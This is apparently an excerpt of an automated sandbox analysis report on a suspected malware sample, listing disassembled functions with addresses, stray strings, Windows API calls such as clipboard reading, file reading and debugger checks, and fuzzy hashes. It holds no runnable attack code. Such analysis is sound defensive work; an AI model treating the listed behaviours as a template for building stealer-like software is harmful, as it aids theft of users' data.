<{:}, xrefs: 00424079
A+P-, xrefs: 00423FF5
IzK|, xrefs: 00424204, 004241E5
I'G), xrefs: 00423FEA
2O)q, xrefs: 00424058
N3e5, xrefs: 00423FB3
#w;y, xrefs: 0042406E
LINO, xrefs: 0042442F
ArCt, xrefs: 0042425E

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID:
String ID: ^P$!s#u$#w;y$%K'M$*G'I$2O)q$3c7e$7g9i$8X$<{:}$=S2U$?W4Y$A+P-$ArCt$I'G)$IzK|$IzK|$LINO$M~Op$N3e5$j;@=$o2g4$st$z{
API String ID: 0-2268861036
Opcode ID: 0c62c02792eecb3dc32bca184b1fa4f6efbdf24a407ec571994196f6a4349c90
Instruction ID: b78e75a223094c9e40a8854b5f698ca80566fa0564d3eee0e17689add2129a70
Opcode Fuzzy Hash: 0c62c02792eecb3dc32bca184b1fa4f6efbdf24a407ec571994196f6a4349c90
Instruction Fuzzy Hash: 469261B56083918BC730CF64E8417AFBBF1EBD2704F40882DE4D9AB251D7759946CB8A

Function 00409350 Relevance: 14.1, Strings: 11, Instructions: 348COMMON

Download Yara Rule

Strings

$?V~, xrefs: 0040944C
7@k*, xrefs: 0040942C
;1T, xrefs: 00409377
sYs2, xrefs: 0040945C
6ZT , xrefs: 0040937F
2<2}, xrefs: 00409434
C{, xrefs: 00409414
^*/%, xrefs: 0040938F
%#7%, xrefs: 0040943C
;'#5, xrefs: 00409454
Nf99, xrefs: 00409444

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID:
String ID: C{$$?V~$%#7%$2<2}$6ZT $7@k*$;'#5$;1T$Nf99$^*/%$sYs2
API String ID: 0-2115841832
Opcode ID: f7d464e858b518fa56d074583db9f85da899ee534603e6e99546933e4902c78e
Instruction ID: d4a91e74dea4013e8292f196a89552244546f209ee50252737da41fb91a20421
Opcode Fuzzy Hash: f7d464e858b518fa56d074583db9f85da899ee534603e6e99546933e4902c78e
Instruction Fuzzy Hash: 63B1F87264C3919BC3268F29889076BFFE0AFD7204F48496DE4D55B382D739890AC756

Function 004262FB Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 334COMMON

Download Yara Rule

Strings

N.P , xrefs: 004264A8
Y>Y0, xrefs: 004264C4
N*G,, xrefs: 004264A1
\&@8, xrefs: 004264B6
_"E$, xrefs: 004264AF

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID:
String ID: N*G,$N.P $Y>Y0$\&@8$_"E$
API String ID: 0-5762990
Opcode ID: e682238a9d117bc3743cfe86cae39197549d17faf4e6d4a41a2e3604e9da047a
Instruction ID: 2ca33cb4714c27772913a42618bd44c3204156104a87f4ca2dc341f661a4c5fb
Opcode Fuzzy Hash: e682238a9d117bc3743cfe86cae39197549d17faf4e6d4a41a2e3604e9da047a
Instruction Fuzzy Hash: CBB198B5A00211CFDB14CF64E84236ABBB1FF85314F1981ADD941AF396D779A851CBC8

Function 00430F40 Relevance: 9.1, APIs: 6, Instructions: 128clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00430F50
GetClipboardData.USER32 ref: 00430F6B
GlobalLock.KERNEL32 ref: 00430F8A
GlobalUnlock.KERNEL32 ref: 004310CF
CloseClipboard.USER32 ref: 004310D8

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock
String ID:
API String ID: 1006321803-0
Opcode ID: 62c3ec2f4003cdf273d187df7a610305df2015ac55a568144b8da01a1970411b
Instruction ID: 2f4061cbbd61608ce6a63aeb0fa36b56492298bbff138925a3b5276bd9333b36
Opcode Fuzzy Hash: 62c3ec2f4003cdf273d187df7a610305df2015ac55a568144b8da01a1970411b
Instruction Fuzzy Hash: 0241C57160C7818FC314AF7C898832FBEE1AB96224F054B3DE5E6872D2D6388549C757

Function 00DA3178 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00DA2B49,00000002,00000000,?,?,?,00DA2B49,?,00000000), ref: 00DA3211
GetLocaleInfoW.KERNEL32(?,20001004,00DA2B49,00000002,00000000,?,?,?,00DA2B49,?,00000000), ref: 00DA323A
GetACP.KERNEL32(?,?,00DA2B49,?,00000000), ref: 00DA324F

Strings

OCP, xrefs: 00DA31CC
ACP, xrefs: 00DA3196

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: dc7b02bc7a504f091312e3e8e5fb95016b71851624fb01fb19e4e6789d61a4c3
Instruction ID: 4dbe900a0ce4a0417d15eaa410a928df5a243588c589a682a1a946832d031a1a
Opcode Fuzzy Hash: dc7b02bc7a504f091312e3e8e5fb95016b71851624fb01fb19e4e6789d61a4c3
Instruction Fuzzy Hash: F421AC32600200EADB348FA4D805BA7B7A7EF96F54B6A8525F90AD7210E732DF40D374

Function 00DA2A13 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D9E783: GetLastError.KERNEL32(00000000,?,00DA0AB9), ref: 00D9E787
Part of subcall function 00D9E783: SetLastError.KERNEL32(00000000,?,?,00000028,00D9B9D2), ref: 00D9E829

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 00DA2B1B
IsValidCodePage.KERNEL32(00000000), ref: 00DA2B59
IsValidLocale.KERNEL32(?,00000001), ref: 00DA2B6C
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00DA2BB4
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00DA2BCF

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 1db41d8ced2c68efb93eb4824350707cc8e832f0d1b4fd71372b4f05a342c3b7
Instruction ID: 026f54ac38aac61291b61099152ba47e0bb7c807c13bd6ee2e1f96e6a0f64e50
Opcode Fuzzy Hash: 1db41d8ced2c68efb93eb4824350707cc8e832f0d1b4fd71372b4f05a342c3b7
Instruction Fuzzy Hash: 0E516D71A01215AFDF20DFAACC81ABE77B8EF16700F184569E910E7190EBB0DA44DB71

Function 00D91614 Relevance: 7.7, APIs: 5, Instructions: 171fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D91098: _strlen.LIBCMT ref: 00D910F9

GetFileSize.KERNEL32(00000000,00000000), ref: 00D91685
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00D916AB
CloseHandle.KERNEL32(00000000), ref: 00D916BA
_strlen.LIBCMT ref: 00D91705
CloseHandle.KERNEL32(00000000), ref: 00D91805

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: CloseFileHandle_strlen$ReadSize
String ID:
API String ID: 1490117831-0
Opcode ID: 32d7dbac6a213fc8e405f5c02e412e6e7429e594e9b91a8712d92009f41be623
Instruction ID: 3d0211ecf7361905dfe551f0b975615fc969237d47d3b98ba95104533fd37399
Opcode Fuzzy Hash: 32d7dbac6a213fc8e405f5c02e412e6e7429e594e9b91a8712d92009f41be623
Instruction Fuzzy Hash: 4151DDB5908302EBDB00AF24DC84B2ABBE5FF88314F154A2DF88997351E734D9448B72

Function 00421E5D Relevance: 7.0, Strings: 5, Instructions: 771COMMON

Download Yara Rule

Strings

2'B, xrefs: 00422726
|z{s, xrefs: 00421F87
*5"6, xrefs: 00421FB0, 00421FF8
<::", xrefs: 00421F2F
;?9?, xrefs: 00421F1F

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID:
String ID: *5"6$2'B$;?9?$<::"$|z{s
API String ID: 0-2233493934
Opcode ID: 3a5c8ca05ea6c0ff49f7d0355cef58fe36e2729af9ac7cd9e0ff7280b6bc388c
Instruction ID: 31cb32e2952eeb5aed6972eb9c42189e7d299ecb1d180cd1af740fb1545a0b43
Opcode Fuzzy Hash: 3a5c8ca05ea6c0ff49f7d0355cef58fe36e2729af9ac7cd9e0ff7280b6bc388c
Instruction Fuzzy Hash: 4B421135608312DFD318CF28EC5062AB3E2FBCA315F59893CE99697391EB34A915CB45

Function 0041C84E Relevance: 6.7, Strings: 5, Instructions: 460COMMON

Download Yara Rule

Strings

9[|], xrefs: 0041CB09
OPq, xrefs: 0041CB2C
wy, xrefs: 0041CB3A
.S'U, xrefs: 0041CAFB
#K#M, xrefs: 0041CB25

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID:
String ID: OPq$#K#M$.S'U$9[|]$wy
API String ID: 0-3101808513
Opcode ID: ae791013f75915224645d429e3e48cadc28e70b9a9d6946a843c06380c1750ee
Instruction ID: 5fa6e41981c0831dd4ec5c839a58323b70f6fb27576189598393d7bcf829b61f
Opcode Fuzzy Hash: ae791013f75915224645d429e3e48cadc28e70b9a9d6946a843c06380c1750ee
Instruction Fuzzy Hash: EFC1D1B6E402258BCB24CFA4C8913EFB7B2FF95701F194159E8857B345E7395802CB98

Function 00427870 Relevance: 6.5, Strings: 5, Instructions: 288COMMON

Download Yara Rule

Strings

X>I0, xrefs: 00427A4A
IJ, xrefs: 00427A62
T2O4, xrefs: 00427A52
Q6UH, xrefs: 00427A5A
)*, xrefs: 0042793A

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID:
String ID: )*$IJ$Q6UH$T2O4$X>I0
API String ID: 0-1099045505
Opcode ID: 9365707c404be2698cf9a05914d124c7d3878b057f98c579c3d4a821c87a109c
Instruction ID: 3b1423c738d2acf67b80311c3b3b65470ac689b0e831acf1128768528a4d1599
Opcode Fuzzy Hash: 9365707c404be2698cf9a05914d124c7d3878b057f98c579c3d4a821c87a109c
Instruction Fuzzy Hash: 357102B660C3218BC714CF68D89136BB7E1FF85354F49892DE8D58B391E3789A05C78A

Function 00DA375A Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00DA384A

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 2d14cef21292f10e5593b6ccf3bfa48eff40f7491a6616d560753801a45dd5ef
Instruction ID: d5687e0ffc7caa4e73635a7d3c740480b2f291e4ae22ccb610c7faae6ca46b13
Opcode Fuzzy Hash: 2d14cef21292f10e5593b6ccf3bfa48eff40f7491a6616d560753801a45dd5ef
Instruction Fuzzy Hash: 8771B5B1D05158AFDF20EF68DC9DAAAB7BAEB06300F1845D9F04993211DA358F849F30

Function 00D95020 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00D9502C
IsDebuggerPresent.KERNEL32 ref: 00D950F8
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00D95111
UnhandledExceptionFilter.KERNEL32(?), ref: 00D9511B

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 6f445ee5b5de75ed6dfbb2658318ada7b13dd4904521bde64863eaa225275a73
Instruction ID: a9c87d425dbed86d9336bc530b32134d90064b4263988bf675de06246cdbc428
Opcode Fuzzy Hash: 6f445ee5b5de75ed6dfbb2658318ada7b13dd4904521bde64863eaa225275a73
Instruction Fuzzy Hash: 9431F975D05319DBDF21EF64D9497CDBBB8AF08300F1041AAE40DAB250EB719B858F55

Function 004310F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00431139
GetSystemMetrics.USER32 ref: 00431149

Strings

, xrefs: 00431236

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 932f3a8baaf2f4c12b15b1271b6f04031b308d53098c167ea3f8c5ae8c32a5f3
Instruction ID: 04d46c727a6fcf63ca4183bf7cfccd4dfebfccbbcb55db5b15a838c0db64b75f
Opcode Fuzzy Hash: 932f3a8baaf2f4c12b15b1271b6f04031b308d53098c167ea3f8c5ae8c32a5f3
Instruction Fuzzy Hash: D4A15DB05097818FE760DF55D54879ABBE0ABC5308F00892EE5AD9B252C7B86448CF9A

Function 00418782 Relevance: 5.3, Strings: 4, Instructions: 287COMMON

Download Yara Rule

Strings

EA, xrefs: 00418979
ZY, xrefs: 00418972
NV, xrefs: 00418964
2C, xrefs: 0041896B

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID:
String ID: 2C$EA$NV$ZY
API String ID: 0-49861532
Opcode ID: e4122abb0b42cb9d4564642bdb55543d7360135ed1a3782e49d3949a9c958459
Instruction ID: 6257ed46bba85acc92184adddb57fb7eb053b09438e58da646b00c9723c3129f
Opcode Fuzzy Hash: e4122abb0b42cb9d4564642bdb55543d7360135ed1a3782e49d3949a9c958459
Instruction Fuzzy Hash: BB91A9B4104701DFDB248F25D8906667BB1FF4A704F1589ADC89A8F35ADB39E881CF94

Function 004161FA Relevance: 5.1, Strings: 3, Instructions: 1361COMMON

Download Yara Rule

Strings

p-./, xrefs: 00416881
f!K#, xrefs: 0041686C
H%C', xrefs: 00416873

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID:
String ID: H%C'$f!K#$p-./
API String ID: 0-2974429307
Opcode ID: 24c5f14ab80120a87f909f58d4f3cdcffd5a9c39c83a58f1ecb74f99ea2041c3
Instruction ID: f51800d709bb49b49c37dc47da6f8ce97411645a88a1b5d3b75bbaeb89ec4e47
Opcode Fuzzy Hash: 24c5f14ab80120a87f909f58d4f3cdcffd5a9c39c83a58f1ecb74f99ea2041c3
Instruction Fuzzy Hash: 0D92DD75200701CFD724CF29C891763B7E2FF9A314B19896ED8968BB91E739E842CB14

Function 00D9123B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 85encryptionCOMMON

Download Yara Rule

APIs

CryptContextAddRef.ADVAPI32(00000000,00000000,00000000), ref: 00D912C7

Strings

[+], xrefs: 00D912E1

Memory Dump Source

Source File: 0000000A.00000002.3381795229.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 0000000A.00000002.3381727415.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381895759.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3381970781.0000000000DB5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382204412.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382274530.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.3382356213.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ContextCrypt
String ID: [+]
API String ID: 3075001677-4228040803
Opcode ID: 1c9a84ae324317935b6448aaab2c9e82cfccd63f078215b65afd2386026037e0
Instruction ID: d9c024e2925dc2e33f047d9b67102d6e94abe0d244aa596e340aa5f2a7010560
Opcode Fuzzy Hash: 1c9a84ae324317935b6448aaab2c9e82cfccd63f078215b65afd2386026037e0
Instruction Fuzzy Hash: A631F73560C3818FDB26AB3468997EBBBD0ABBD318F18097DD8C987243D1615446CB72

Function 0042B641 Relevance: 3.0, Strings: 2, Instructions: 467COMMON

Download Yara Rule

Strings

ido1, xrefs: 0042B82A
kvri, xrefs: 0042B823

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID:
String ID: ido1$kvri
API String ID: 0-1372408504
Opcode ID: 7d715f03c417f409de8652eb1d818ab92eb4fc9fe7142f8cb010c132346da33c
Instruction ID: d63b2dff0a2d8081cc2d2a2520883f01022b2cf2ab299a95e8ea2bcb53456646
Opcode Fuzzy Hash: 7d715f03c417f409de8652eb1d818ab92eb4fc9fe7142f8cb010c132346da33c
Instruction Fuzzy Hash: DCE135702047918FD725CF29D490762BBE2EF97314F18C59EC4DA4B7A2C739A846CB94

Function 0040B35D Relevance: 2.9, Strings: 2, Instructions: 442COMMON

Download Yara Rule

Strings

vz, xrefs: 0040B481
(*, xrefs: 0040B3FA

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID:
String ID: vz$(*
API String ID: 0-1810138279
Opcode ID: bc795fc9593d117f69d9b309d8d1678bdc7bb38d1fb9af47afbff97a2df02f4c
Instruction ID: 373eca2d3372cdd70558ea5784a7e56b1569bdbd69d34e33fac87daed3807233
Opcode Fuzzy Hash: bc795fc9593d117f69d9b309d8d1678bdc7bb38d1fb9af47afbff97a2df02f4c
Instruction Fuzzy Hash: 490286B5204701CFD324CF25E991B267BF1FB8A300F1685BDE19A8B662DB74A446CF58

Function 0042C661 Relevance: 2.8, Strings: 2, Instructions: 292COMMON

Download Yara Rule

Strings

02, xrefs: 0042CE1B
k$XM, xrefs: 0042CEA2

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID:
String ID: k$XM$02
API String ID: 0-3645340089
Opcode ID: a66173981124d7008d27a57aeb78949d0a0e602045b34e4fd00f402ea6ce836f
Instruction ID: 13d92fa4c31d488c60226f1b790a3187eebd04651bff5118c22f23bcf6eb8d79
Opcode Fuzzy Hash: a66173981124d7008d27a57aeb78949d0a0e602045b34e4fd00f402ea6ce836f
Instruction Fuzzy Hash: AC8107706047918BD3258F2AD490327FBE1AF97304F68C59ED4DA8B392CB79A407CB55

Function 0042C6B0 Relevance: 2.8, Strings: 2, Instructions: 287COMMON

Download Yara Rule

Strings

02, xrefs: 0042CE1B
k$XM, xrefs: 0042CEA2

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID:
String ID: k$XM$02
API String ID: 0-3645340089
Opcode ID: 88e8cb6286f2b67592398981c80a604d80a239687b165b3d892a7056be522567
Instruction ID: 8486a6ca6ef0432e73a64b8f33dca97ee1ff33de2e9125a755b692dfa59e889f
Opcode Fuzzy Hash: 88e8cb6286f2b67592398981c80a604d80a239687b165b3d892a7056be522567
Instruction Fuzzy Hash: 3481E6706047928BD7158F3A9490327BBE1AF97304F68C5AED0DA8B392CB79A407CB55

Function 0042C69E Relevance: 2.8, Strings: 2, Instructions: 259COMMON

Download Yara Rule

Strings

02, xrefs: 0042CE1B
k$XM, xrefs: 0042CEA2

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID:
String ID: k$XM$02
API String ID: 0-3645340089
Opcode ID: 3cc09609d5efc333a6acc8853371c99c98345936378cdd70d2903306b9378b24
Instruction ID: f50683e4a251d12fd46d261370c77af8c449dc8eb74b8725cadbfee1003f3c0d
Opcode Fuzzy Hash: 3cc09609d5efc333a6acc8853371c99c98345936378cdd70d2903306b9378b24
Instruction Fuzzy Hash: 1971D2716047918BD3168F2A9490326FFE2AFA7304F68C59ED0DA4B392C779A407CB95

Function 0042CC0E Relevance: 2.8, Strings: 2, Instructions: 257COMMON

Download Yara Rule

Strings

02, xrefs: 0042CE1B
k$XM, xrefs: 0042CEA2

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID:
String ID: k$XM$02
API String ID: 0-3645340089
Opcode ID: ca4ee5496d6531026c593b85f0285854670459727e068aaa3c7d207f64eb9cf2
Instruction ID: aa126381ea6bb095719112affaf45f40dadcdf94d3070ec07542df453e69526b
Opcode Fuzzy Hash: ca4ee5496d6531026c593b85f0285854670459727e068aaa3c7d207f64eb9cf2
Instruction Fuzzy Hash: 627104706047918BD3168F2A9490367FFE2AFA7304F68C59ED0DA4B392C779A407CB95

Function 0041703C Relevance: 2.7, Strings: 2, Instructions: 211COMMON

Download Yara Rule

Strings

T"D$, xrefs: 00417199
H.M , xrefs: 00417192

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID:
String ID: H.M $T"D$
API String ID: 0-2923313461
Opcode ID: 66fb479fc717423183890f232c5f54e904ecc4e71b7d6a62289c9005d4df4375
Instruction ID: 63a4b4535a0efdea7b6357f2346164b773affaf991aad46119c0a3f7eb62c0b6
Opcode Fuzzy Hash: 66fb479fc717423183890f232c5f54e904ecc4e71b7d6a62289c9005d4df4375
Instruction Fuzzy Hash: AC51D6756047008FD325CF28C881BA3B7F2EF96310F19855EE8A68B391D738E842C764

Function 0042AFFD Relevance: 2.7, Strings: 2, Instructions: 191COMMON

Download Yara Rule

Strings

rFDN, xrefs: 0042B15E
LwtJ, xrefs: 0042B097

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID:
String ID: LwtJ$rFDN
API String ID: 0-1255102257
Opcode ID: b4ef04f43239fa8514196e7e22a69623b4eb3b380d4fd1e3232350cc137b7b56
Instruction ID: 23657ca543885c4e7040de47d94f52d02b11e6d88161757131fbadc548fb3af2
Opcode Fuzzy Hash: b4ef04f43239fa8514196e7e22a69623b4eb3b380d4fd1e3232350cc137b7b56
Instruction Fuzzy Hash: 2D5124706087928FD715CF26D4A0272BBE2EF97314B28C49EC0C68B746CB39980BCB54

Function 0042AF44 Relevance: 2.6, Strings: 2, Instructions: 139COMMON

Download Yara Rule

Strings

rFDN, xrefs: 0042B15E
LwtJ, xrefs: 0042B097

Memory Dump Source

Source File: 0000000A.00000002.3380062657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_5639a58f3b.jbxd

Similarity

API ID:
String ID: LwtJ$rFDN
API String ID: 0-1255102257
Opcode ID: 444531a9e9d6de0a23d2cf825c2c02117726caac540634e9fa92b1395273db5f
Instruction ID: 88f52dc626e3553bade033757b2d428ea1bfd2dfa0e2d97bbcfdcb5fb9851849
Opcode Fuzzy Hash: 444531a9e9d6de0a23d2cf825c2c02117726caac540634e9fa92b1395273db5f
Instruction Fuzzy Hash: FA41DF746046918FDB158F25D4A0672BBE1EF97358729848EC0C69B753CB399807CBA8

